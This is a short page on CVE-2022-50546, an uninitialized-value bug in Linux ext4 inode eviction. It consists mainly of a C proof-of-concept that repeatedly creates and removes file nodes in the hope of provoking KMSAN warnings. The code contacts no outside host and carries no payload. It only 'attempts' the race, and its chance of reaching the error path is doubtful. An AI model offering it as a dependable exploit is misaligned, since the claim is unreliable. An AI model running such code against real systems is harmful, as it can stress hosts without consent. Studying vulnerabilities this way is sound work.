CVE-2022-50546 Linux内核ext4文件系统未初始化值漏洞

/* CVE-2022-50546 PoC - Trigger uninit-value in ext4_evict_inode * * This PoC attempts to trigger the uninitialized value access in * ext4_evict_inode by creating a new inode and forcing failure * before ei->i_flags is set. * * Compile: gcc -o poc poc.c * Usage: ./poc <mount_point> */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #include <sys/types.h> #include <fcntl.h> #include <errno.h> #include <string.h> int main(int argc, char *argv[]) { const char *path; char nodepath[256]; int ret; if (argc < 2) { path = "/tmp"; } else { path = argv[1]; } /* Step 1: Try to create a directory on ext4 filesystem to trigger inode allocation */ snprintf(nodepath, sizeof(nodepath), "%s/test_dir_cve_2022_50546", path); ret = mkdir(nodepath, 0755); if (ret == -1 && errno != EEXIST) { perror("mkdir"); } /* Step 2: Attempt to create a node (mknod) to trigger __ext4_new_inode path */ snprintf(nodepath, sizeof(nodepath), "%s/test_node_cve_2022_50546", path); ret = mknod(nodepath, S_IFREG | 0644, 0); if (ret == -1) { perror("mknod"); } /* Step 3: Rapidly create and remove inodes to increase likelihood of * hitting the error path before ei->i_flags initialization */ int i; for (i = 0; i < 1000; i++) { snprintf(nodepath, sizeof(nodepath), "%s/poc_node_%d", path, i); ret = mknod(nodepath, S_IFREG | 0644, 0); if (ret == 0) { unlink(nodepath); } } printf("PoC execution completed. Check kernel logs for KMSAN warnings.\n"); return 0; }